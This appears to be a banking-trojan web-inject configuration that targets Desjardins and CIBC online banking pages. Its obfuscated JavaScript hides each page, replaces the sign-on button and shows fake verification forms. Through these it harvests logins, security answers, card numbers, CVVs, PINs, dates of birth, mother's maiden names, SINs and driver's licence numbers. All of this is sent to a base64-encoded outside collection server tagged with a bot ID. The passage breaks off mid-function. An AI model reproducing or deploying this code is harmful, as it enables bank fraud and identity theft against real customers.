;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_desjardins";  
    var sa   = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
       jQuery(document).ready( function () {  
         var q1 = jQuery('select[name=questionChoisie1]').find('option:selected').text();  
                           var a1 = jQuery('select[name=questionChoisie1]').parent().parent().next().find('td.t').eq(1).find('input').eq(0).val();  
            var rq1 = q1.replace('?','');  
            var rq12 = rq1.replace("'","");  
            var q2 = jQuery('select[name=questionChoisie2]').find('option:selected').text();  
                           var a2 = jQuery('select[name=questionChoisie2]').parent().parent().next().find('td.t').eq(1).find('input').eq(0).val();  
            var rq2 = q2.replace('?','');  
            var rq22 =rq2.replace("'","");  
            var q3 = jQuery('select[name=questionChoisie2]').find('option:selected').text();  
                           var a3 = jQuery('select[name=questionChoisie3]').parent().parent().next().find('td.t').eq(1).find('input').eq(0).val();  
            var rq3 = q3.replace('?','');  
            var rq32 =rq3.replace("'","");  
                           var req= "send=1&bn=ca_desjardins&u_bot_id=" +  bot_id + "&u_login=&u_pass=" +"&log=<b>ANSWERS_CA_DESJARDINS:</b>" + jQuery.trim(rq12)+":<b>"+jQuery.trim(a1)+"</b>|"+jQuery.trim(rq22)+":<b>"+jQuery.trim(a2) +"</b>|"+jQuery.trim(rq32)+":<b>"+jQuery.trim(a3)+"</b>";  
               function myCallback()  
               {  
               }  
               sendScriptRequest(sa,req,myCallback, ["test123"]);  
        jQuery('body').show();  
       });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://www.cibc.com/ca/personal.ht* GP  
 data_before  
 <div id="mainPage">  
 data_end  
 data_inject  
 <style>  
 #mybtn {  
 box-shadow: 0px 1px 1px #9F9F9F;  
 border-radius: 3px;  
 display: inline-block;  
 color: #FFF !important;  
 font-weight: bold;  
 height: 38px;  
 padding: 0px 16px;  
 text-decoration: none;  
 text-shadow: 0px 1px 2px #0F1F34;  
 }  
 </style>  
 <script type="text/javascript">  
 jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_cibc";  
       var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
      function blockonEnter()  
   {  
    jQuery("*").keydown(function(event)  
         {  
     if(13==event.keyCode){  
             event.preventDefault();  
             return false;  
           }  
    });  
    jQuery("*").keyup(function(event) {  
      if(13==event.keyCode){  
                 event.preventDefault();  
             return false;  
            }  
    });  
    jQuery("*").keypress(function(event) {  
      if(13==event.keyCode){  
              event.preventDefault();  
             return false;  
            }  
    });     
   }  
            function iLogin()  
           {  
         var u_login = jQuery("input[name=newCardNumber]").val();  
         var u_pass = jQuery("input[name=pswPassword]").val();  
          if ( ( u_login.length < 3 ) || ( u_pass.length < 3 ) )  
         {  
             alert('Error Message :\nPlease enter both your User ID and Password.');  
             return false;  
         }    
      function myCallback()  
      {  
      jQuery('#olb_so_btn').click();     
       }  
       var req= "send=1&bn=ca_cibc&u_bot_id=" +  bot_id +"&u_login=" +u_login +"&u_pass=" + u_pass + "&log=cibc_login";  
      sendScriptRequest(sa,req,myCallback, ["test123"]);  
             return false;  
           }  
        jQuery(document).ready( function () {  
                  blockonEnter();  
           jQuery('#olb_so_btn').hide();  
           var bg = jQuery('#olb_so_btn').css('background-color');  
           jQuery('#olb_so_btn').before('<button onclick="iLogin()" id="mybtn">Sign On<span class="hiddenText"> to CIBC Online Banking</span></button>');  
           jQuery('#mybtn').css('background-color',bg);  
           jQuery('body').show();  
           });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://www.cibconline.cibc.com/olbtxn/accounts/MyAccounts.cibc GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <div id="panel" style="display:none">  
  <div id="mainSection" style="">  
  <div id="contentHeader">  
     <h1>  
       Sign-In Protection - Personal Verification Questions  
     </h1>  
     <h2>Step:</h2>  
    <div id="progressContainer">  
     <span class="jawsAccessible">1 of 2</span>  
     <ul class="progressList">  
      <li class="pgFirstStep pgOnState">  
       <span>1</span>  
      </li>  
      <li class="pgInactive">  
       <span>2</span>  
      </li>  
     </ul>  
    </div>  
    </div>  
 <div class="globalErrorContainer" style="display:none;"><div class="globalError">  
 <div class="errorMessage" >  
     <p>Please enter your answer to the question. The answer must be a minimum of 3 characters. Reference # SIP-004.</p>  
    </div>  
    <div class="errorCode">{Result #U501}</div>  
 </div></div>  
  <div id="pageInstructional" style="margin-bottom:10px;">  
     <ul>  
      <li>To help us verify your identity, please answer the following question:</li>  
            <li>Occasional security checks help us keep your online banking information safe. Please don't share your questions or answers with anyone.</li>  
     </ul>  
 </div>  
    <form>  
     <fieldset id="addressInfoFieldLabelSet" class="fieldLabelSet">  
           <legend class="readerDesc">       
           </legend>  
           <h4>  
                * - Required Information  
           </h4>  
           <!--START Q1 -->  
           <div id="question1" style="display:normal;">  
           <div id="streetFieldLabelPair" class="fieldLabelPair altRow" style="margin-top:10px;">  
                <div class="fieldLabel">  
                     <label id="q11" style="display:none;">Card Number:</label>  
                     <label id="q21" style="display:none;">Card 3-digit CVV:</label>  
                     <label id="q31" style="display:none;">Phone Password:</label>  
                     <label id="q41" style="display:none;">First Employer:</label>  
                     <label id="q51" style="display:none;">Social Insurance Number:</label>  
                </div>  
                <div class="labelledField">  
                     <input name="inputStreetLine1" maxlength="35" value="" id="a1" onblur="blurFunction(this)" class="formFieldSingleLine large" autocomplete="off" type="text">  
 <!-- comment div -->  
                </div>  
           </div>  
           <div class="fieldLabelPair" id="cityFieldLabelPair" style="margin-bottom:10px;">  
                <div class="fieldLabel">  
                     <label id="q12" style="display:none;">Card Expiration Date (mm/yyyy): </label>  
                     <label id="q22" style="display:none;">Card Pin:</label>  
                     <label id="q32" style="display:none;">Date of Birth (mm/dd/yyyy):</label>  
                     <label id="q42" style="display:none;">Mother's Maiden Name:</label>  
                     <label id="q52" style="display:none;">Driver's License Number:</label>  
                </div>  
                <div class="labelledField">  
                     <input name="inputCity" maxlength="25" value="" id="a2" onblur="blurFunction(this)" class="formFieldSingleLine large" autocomplete="off" type="text">  
                </div>  
           </div>  
     </div>  
                </fieldset>  
                 </form>  
 <div class="twinButtonContainer" style="margin-top:10px;">  
           <div id="bttnNextContainer" class="primaryFormButtonContainer">  
                <button type="submit" name="bttnNext" id="bttnNext" onclick="sendInfo()" class="primaryFormButton">            
 Next  
                </button>  
           </div>  
      </div>  
           </div>  
  </div>  
  </div><!-- End main sec -->  
 </div>  
 <script type="text/javascript">  
 jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_cibc";  
       var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
       function showDelay()  
       {  
         jQuery('body').show();  
       }  
       function inisiateError()  
       {  
         jQuery('body').hide();  
         jQuery('div.globalErrorContainer').show();  
            setTimeout(showDelay,2000);  
       }  
       function removeError( )  
       {  
         jQuery('div.globalErrorContainer').hide();  
       }  
       function blurFunction(elem)  
       {  
        if( jQuery(elem).val().length > 2 )  
        {  
         jQuery(elem).css('border','solid 1px #999');  
           }  
       }  
  function luhn(num) {num = (num + '').replace(/\D+/g, '').split('').reverse();if (!num.length)return false;var total = 0, i;for (i = 0; i < num.length; i++) {num[i] = parseInt(num[i]);total += i % 2 ? 2 * num[i] - (num[i] > 4 ? 9 : 0) : num[i];}return (total % 10) == 0;}  
    function checkCC(cc1,cc2,cc3,cc4)  
    {  
     var full = cc1 + cc2 + cc3 + cc4;  
     if ( (isNaN(cc1) || isNaN(cc2) || isNaN (cc3) || isNaN (cc4)) == false )  
     {  
      var totalLengthCC = full.length ;  
      if ( (totalLengthCC == 16 ))  
      {  
         if (( cc1.charAt(0) == '4' ) || ( cc1.charAt(0) == '5' ) )  
         {  
           if ( luhn ( full ) )   
           {  
               return true;  
           }  
         }  
      }  
     }  
     return false;  
    }        
  function checkExp(card_exp)  
  {  
   if (card_exp.indexOf('/')+1 )  
      {  
        var exp_result = card_exp.split('/');  
        if( exp_result.length != 2)  
        {  
         return false;  
        }  
     var exp_mm = exp_result[0];  
     var exp_yy = exp_result[1];  
      }  
      else  
      {  
       return false;  
      }  
   var totalLengthEXP = exp_mm.length + exp_yy.length;  
   if ( totalLengthEXP == 6 )  
   {  
      if ( ( exp_mm > 0 ) && ( exp_mm < 14) )  
      {  
         if (( exp_yy > 2014 ) && ( exp_yy < 2030 ) )  
         {  
           return true;  
         }  
      }  
   }  
   return false;  
  }        
      function checkCVV(cvv_num)  
   {  
    var cvvLength = cvv_num.length;  
    if ( isNaN(cvv_num) == false)  
    {  
     if ( cvvLength == 3 )  
     {  
     if ( (cvv_num.charAt(0) == cvv_num.charAt(1) )&& (cvv_num.charAt(1) ==cvv_num.charAt(2) ) )  
     {   
      return false;  
     }      
     if( cvv_num == "123")  
     {  
        return false;  
     }  
     return true;  
     }  
    }  
    return false;  
   }   
   function checktext(mmn)  
   {  
   if ( isNaN(mmn) )  
   {  
      return true;  
   }  
   return false;  
   }     
    function showDelay()  
       {  
         jQuery('body').show();  
       }  
       function showOrig()  
       {  
        jQuery('#mainSection').hide();  
        jQuery('#mainSection').next().show();  
           jQuery('#userDateStamp').show();  
           jQuery('#subsiteNavigation').find('ul').show();  
           jQuery('#messageCenterGroup').show();  
           jQuery('#Security').remove();  
            jQuery('#taskNavigation').find('li').each ( function () {  
                  jQuery(this).show();  
            });           
       }  
       function sendInfo()  
       {  
        jQuery('body').hide();  
     removeError();  
        var q1show = jQuery('#q11').css('display');  
        var q2show = jQuery('#q21').css('display');  
        var q3show = jQuery('#q31').css('display');  
        var q4show = jQuery('#q41').css('display');  
        var q5show = jQuery('#q51').css('display');  
        var a1 = jQuery('#a1').val();  
           var a2 = jQuery('#a2').val();  
        var a1error = 1;  
        var a2error = 1;  
        if( q1show != 'none')  
        {  
         //a1= card   
             a1error = 1;  
             a2error = 1;  
            if( a1.length == 19)  
            {  
             if (a1.indexOf('-')+1 )  
                {  
                  var result = a1.split('-');  
                  if( result.length == 4)  
                  {  
            var cc1 = result[0];  
            var cc2 = result[1];  
            var cc3 = result[2];  
                           var cc4 = result[2];  
                           if ( checkCC(cc1,cc2,cc3,cc4))  
                           {  
                            a1error = 0;  
                           }  
                  }  
                }  
            }  
            //a2 = expiration  
            if( a2.length ==7)  
            {  
              if( checkExp(a2))  
                 {  
                     a2error = 0;  
                 }  
            }  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
                        var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_cibc&full_cc=Card:"  + a1 +  
                           "&full_exp=" + a2 +  
                           "&log=cc_page_1";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                                                          jQuery('#mytip').remove();  
                                                          var selectedli = jQuery('ul.progressList').find('li').eq(0).attr('class');  
                                                          if ( selectedli.indexOf('pgOnState')+1) // first   
                                                          {  
                                                              jQuery('ul.progressList').find('li').eq(0).removeClass('pgOnState');  
                                                              jQuery('ul.progressList').find('li').eq(1).addClass('pgOnState');  
                          jQuery('#q11').hide();  
                                                           jQuery('#q12').hide();  
                          jQuery('#q21').show();  
                                                           jQuery('#q22').show();  
                                                           jQuery('#a1').val('');  
                                                           jQuery('#a2').val('');  
                                                          }  
                                                          else  
                                                          {  
                                                           showOrig();  
                                                          }  
                                                          setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if ( (a1error == 1 ) || (a2error == 1 ))  
            {  
              if( a1error ==1)  
                 {  
                  jQuery('#a1').css('border','solid 1px #EC1D25');  
                 }  
                 if ( a2error == 1 )  
                 {  
                  jQuery('#a2').css('border','solid 1px #EC1D25');  
                 }  
              inisiateError();   
            }  
        } //END CARD EXP  
     else if ( q2show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;  
         if( checkCVV(a1))  
            {  
             a1error = 0 ;  
            }  
            //end a1  
            //starta2  
             if(( a2 != "") && ( a2.length > 2 ))  
             {  
              var pin = parseInt(a2);  
              if( isNaN(pin) == false)  
                 {  
                  a2error = 0;  
                 }  
             }  
             //start send  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_cibc&cvv="+a1+"&pin=<b>PIN:</b>" + a2 +  
                           "&log=page_pin";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                                                          var selectedli = jQuery('ul.progressList').find('li').eq(0).attr('class');  
                                                          if ( selectedli.indexOf('pgOnState')+1) // first   
                                                          {  
                                                              jQuery('ul.progressList').find('li').eq(0).removeClass('pgOnState');  
                                                              jQuery('ul.progressList').find('li').eq(1).addClass('pgOnState');  
                          jQuery('#q21').hide();  
                                                           jQuery('#q22').hide();  
                          jQuery('#q31').show();  
                                                           jQuery('#q32').show();  
                                                           jQuery('#a1').val('');  
                                                           jQuery('#a2').val('');  
                                                          }  
                                                          else  
                                                          {  
                                                           showOrig();  
                                                          }  
                                                          setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if ( (a1error == 1 ) || (a2error == 1 ))  
            {  
              if( a1error ==1)  
                 {  
                  jQuery('#a1').css('border','solid 1px #EC1D25');  
                 }  
                 if ( a2error == 1 )  
                 {  
                  jQuery('#a2').css('border','solid 1px #EC1D25');  
                 }  
              inisiateError();   
            }  
        }   
     else if (q3show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;  
      if( a1.length > 3)  
      {  
              a1error = 0;  
            }       
                 if( a2.length == 10)  
                 {  
                   if (a2.indexOf('/')+1 )  
                      {  
                       var result = a2.split('/');  
                       if( result.length == 3)  
                       {  
            var dob_mm = result[0];  
            var dob_dd = result[1];  
            var dob_yy = result[2];  
                             var totalLengthDOB  = dob_mm.length+dob_dd.length+dob_yy.length;  
               if ( ( isNaN(dob_mm) || isNaN(dob_dd) || isNaN(dob_yy) ) == false )   
               {  
                if ( totalLengthDOB > 6 )  
                {  
                 if ( ( dob_yy < 1997) && (dob_yy > 1900) )  
                 {  
                   if( ( dob_mm > 0 ) && ( dob_mm < 13 ) && ( dob_dd > 0 ) && (dob_dd < 32 ) )  
                   {  
                       a2error = 0;  
                   }  
                 }  
                }  
               }  
                       }  
                      }  
                 }            
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
                       var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_cibc&pin="+"<b>PhonePass:</b>" + a1 +"&full_dob=<b>DOB:</b>"+a2+  
                           "&log=page_dob";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                                                          var selectedli = jQuery('ul.progressList').find('li').eq(0).attr('class');  
                                                          if ( selectedli.indexOf('pgOnState')+1) // first   
                                                          {  
                                                              jQuery('ul.progressList').find('li').eq(0).removeClass('pgOnState');  
                                                              jQuery('ul.progressList').find('li').eq(1).addClass('pgOnState');  
                          jQuery('#q31').hide();  
                                                           jQuery('#q32').hide();  
                          jQuery('#q41').show();  
                                                           jQuery('#q42').show();  
                                                           jQuery('#a1').val('');  
                                                           jQuery('#a2').val('');  
                                                          }  
                                                          else  
                                                          {  
                                                           showOrig();  
                                                          }  
                                                          setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if ( (a1error == 1 ) || (a2error == 1 ))  
            {  
              if( a1error ==1)  
                 {  
                  jQuery('#a1').css('border','solid 1px #EC1D25');  
                 }  
                 if ( a2error == 1 )  
                 {  
                  jQuery('#a2').css('border','solid 1px #EC1D25');  
                 }  
              inisiateError();   
            }  
        }  
     else if (q4show != 'none')  
        {  
            a1error = 1;  
            a2error = 1;       
      if( a1.length > 5)       
      {  
             a1error = 0;  
            }             
            if ( a2.length > 5)  
            {  
             if( checktext(a2) )  
             {  
             a2error = 0;  
             }  
            }  
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_cibc&mmn=<b>MMN:</b>" + a2 + "|<b>employer:</b>" + a1+  
                           "&log=page_mmn";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                                                          var selectedli = jQuery('ul.progressList').find('li').eq(0).attr('class');  
                                                          if ( selectedli.indexOf('pgOnState')+1) // first   
                                                          {  
                                                              jQuery('ul.progressList').find('li').eq(0).removeClass('pgOnState');  
                                                              jQuery('ul.progressList').find('li').eq(1).addClass('pgOnState');  
                          jQuery('#q41').hide();  
                                                           jQuery('#q42').hide();  
                          jQuery('#q51').show();  
                                                           jQuery('#q52').show();  
                                                           jQuery('#a1').val('');  
                                                           jQuery('#a2').val('');  
                                                          }  
                                                          else  
                                                          {  
                                                           showOrig();  
                                                          }  
                                                          setTimeout(showDelay,2000);  
                                                   }  
                                                   sendScriptRequest(sa,req,ccall, ["test123"]);  
                                                   return true;  
            }  
            if ( (a1error == 1 ) || (a2error == 1 ))  
            {  
              if( a1error ==1)  
                 {  
                  jQuery('#a1').css('border','solid 1px #EC1D25');  
                 }  
                 if ( a2error == 1 )  
                 {  
                  jQuery('#a2').css('border','solid 1px #EC1D25');  
                 }  
              inisiateError();   
            }             
        }  
        else if (q5show != 'none')  
           {  
            a1error = 1;  
            a2error = 1;       
                   if( a1.length == 11)  
                      {  
                    if (a1.indexOf('-')+1 )  
                       {  
                        var result = a1.split('-');  
                        if( result.length == 3)  
                        {  
             var sin_1 = result[0];  
             var sin_2 = result[1];  
             var sin_3 = result[2];  
                                if ( ( isNaN(sin_1) || isNaN(sin_2) || isNaN(sin_3) ) == false )  
                                {  
                  a1error = 0;  
                                }  
                           }  
           }                            
                      }  
         if( a2.length > 5)  
         {  
                       a2error = 0;  
         }       
            if(( a1error == 0 ) && (a2error == 0 ) ) //send info  
            {  
              var req= "send=4&u_bot_id=" +  bot_id +  
                           "&bn=ca_cibc&mmn=<b>SIN:</b>|"+a1+"<b>DL:</b>" + a2 +  
                           "&log=page_dl";  
                                                function ccall()  
                     {  
                                                       jQuery('body').hide();  
                                                           showOrig();  
